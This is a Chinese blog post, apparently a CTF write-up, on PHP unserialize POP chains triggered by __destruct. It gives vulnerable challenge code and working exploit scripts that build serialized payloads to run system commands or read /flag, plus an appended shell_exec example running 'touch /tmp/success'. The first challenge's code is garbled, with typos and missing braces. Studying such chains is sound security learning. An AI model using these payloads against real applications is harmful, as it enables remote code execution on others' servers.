PHP POP链小结,梳理一下__destruct魔术方法

前置知识: 

        1.魔术方法:PHP之十六个魔术方法详解(总结)-php教程-PHP中文网

        2.适合做POP链起点的魔术方法:__destruct、__wakeup

        3.私有属性和保护属性的初始化方法,在类中定义__construct魔术方法,实例化对象时传入需要初始化的内容即可。

<?php
class BBB {
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }
}
$a=new BBB('bob');
var_dump ($a);
//object(BBB)#1 (1) {
//  ["name":protected]=>
//  string(3) "bob"
//}
?> 

        4.在较新版本的php中,一个类中若要调用一个类的方法需要声明"(new XXX())->xxx()", 低版本则是XXX::xxx,X为类名,x为方法名。

        5.涉及私有属性和保护属性需urlencode序列化内容。

实例

        1.2023.1.10三校联合内部训练赛web ezPOP

<?php
highlight_file(_FILE_):
error_reporting(O):
class AAA {
	private $cmd;
	public function _destruct()
	{
		echo "This is cmd :".$this->cmd;
	}
	public function _invoke()
	{
		system($this->cmd);
	}
}
class BBB {
	protected $name;
	public function _toString()
	{
		return $this -> name ->obj;
	}
}
class EEE{
	public $var;
	public function _get($var){
	{	
		($this->var)();
	}
unserialize($_POST['pop'];

        wrtiteup:

        pop链讲解的文章有很多,具体链条的形成不多讲解,这里就重点演示一下__destruct魔术方法的触发和实例化对象的初始化,首先链条是:AAA(__destruct)->BBB(__toString)->EEE(_get)->AAA(__invoke),exp如下:

<?php
class AAA {
    private $cmd;
    public function __construct($cmd){
        $this->cmd=$cmd;
    }
}

class BBB {
    protected $name;
    public function __construct($name){
        $this->name=$name;
    }
}

class EEE {
    public $var;
    public function __construct($var){
        $this->var=$var;
    }
}
echo urlencode(serialize(new AAA(new BBB(new EEE(new AAA("ls"))))));

        当序列化的内容被反序列化时,由于unserialize($_POST['pop'];为程序结尾的位置,所以会调用__destruct魔术方法,触发pop链。

        2.三校联赛web MoreFast

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function backdoor($key){
        if($key == "GoodJob"){
            readfile("/flag");
        }else{
            die("Bad Job!");
        }
    }
}
class SQLi{
    public $func;
    public $var;
    public function hello(){
        echo "You Touch Me";
    }
    public function bye(){
        $fun = $this->func;
        $fun($this->var);
    }
}

class Test{
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}

class Reader{
    public $name;
    public $obj;
    public function __destruct(){
        if(!preg_match("/CTF/i",$this->name)){
            echo "NoNoNo";
        }else{
            system("whoami");
        }
    }
    public function bye(){
        echo "Let's say goodbye with a smile";
    }
    public function __call($func,$var){
        if($func == "hello"){
            $this->obj->bye();
        }
    }
}

class Lua{
    public $hard;
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __toString(){
        ($this->hard)();
        return "Bad times make a good man.";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class Json{
    public $format;
    public function __invoke(){
        $this->format->hello();
    }
    public function __construct(){
        $this->format = array();
    }
}

if(isset($_GET['exp'])){
    $o = unserialize($_GET['exp']);
    throw new Exception("So Easy!");
}

         writeup:

这里重点讲__destruct魔术方法的触发和跨类调用方法,首先pop链是:Reader(__destruct)->Lua(__toString)->Json(__invoke)->Reader(__call)->SQli(bye())->Evil(backdoor()),exp如下:

<?php
class SQLi{
    public $func;
    public $var;
}
class Reader{
    public $name;
    public $obj;
}

class Lua{
    public $hard;
}

class Json{
    public $format;
}

$a = new Reader;
$a -> name = new Lua;
$a -> name -> hard = new Json;
$a -> name -> hard -> format = new Reader;
$a -> name -> hard -> format -> obj = new SQLi;
// 解法一:静态调用backdoor方法
$a -> name -> hard -> format -> obj -> var = "GoodJob";
$a -> name -> hard -> format -> obj -> func = "(new Evil())->backdoor()";
// 解法二:动态调用函数读文件
//$a -> name -> hard -> format -> obj -> var = "/flag";
//$a -> name -> hard -> format -> obj -> func = "readfile";
echo serialize($a);

        注意到在SQLi中调用Evil的backdoor的声明 func = "(new Evil())->backdoor()" ,区别高低版本的不同。另外,序列化的内容被反序列化后 $o = unserialize($_GET['exp']);执行结束后。即函数结束,函数中的参数类被销毁,此时触发__destruct,启动pop链。另外还可以调用readfile函数。

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
首先需要了解的是,构造 pop 需要满足两个条件: 1. 对象的构造函数需要接收参数,且该参数可以被我们控制。 2. 对象的析构函数中需要存在一些恶意代码,比如执行系统命令等。 在给定的代码中,我们可以看到构造函数 `__construct` 接收参数 `$args`,并将其保存到了 `$this->args` 中。因此,我们可以通过传入恶意参数来控制 `$this->args` 的值。 此外,析构函数 `__destruct` 中存在一个 `shell_exec` 函数调用,可以用来执行系统命令。因此,我们可以将恶意代码写在 `$this->args` 中,让 `__destruct` 函数执行我们的命令。 综上,我们的目标是构造一个恶意参数,使得反序列化时会调用 `__construct` 函数,将我们的恶意参数保存到 `$this->args` 中。接着,在对象被销毁时,`__destruct` 函数会执行我们的系统命令。 下面是一个例子,其中我们将 `touch /tmp/success` 命令作为恶意代码: ```php <?php class home{ private $args; function __construct($args){ $this->args=$args; } function __destruct(){ echo shell_exec($this->args); } } // 构造 payload $obj1 = new home("touch /tmp/success"); $payload = urlencode(serialize($obj1)); // 构造 pop ,将 $obj1 引用传递给 $obj2 $obj2 = new home($payload); echo urlencode(serialize($obj2)) . "\n"; ``` 输出结果: ``` O%3A4%3A%22home%22%3A1%3A%7Bs%3A4%3A%22args%22%3Bs%3A18%3A%22touch+%2Ftmp%2Fsuccess%22%3B%7D ``` 将该 payload 传递给目标程序反序列化即可触发 pop ,执行恶意命令。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

QMDD

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值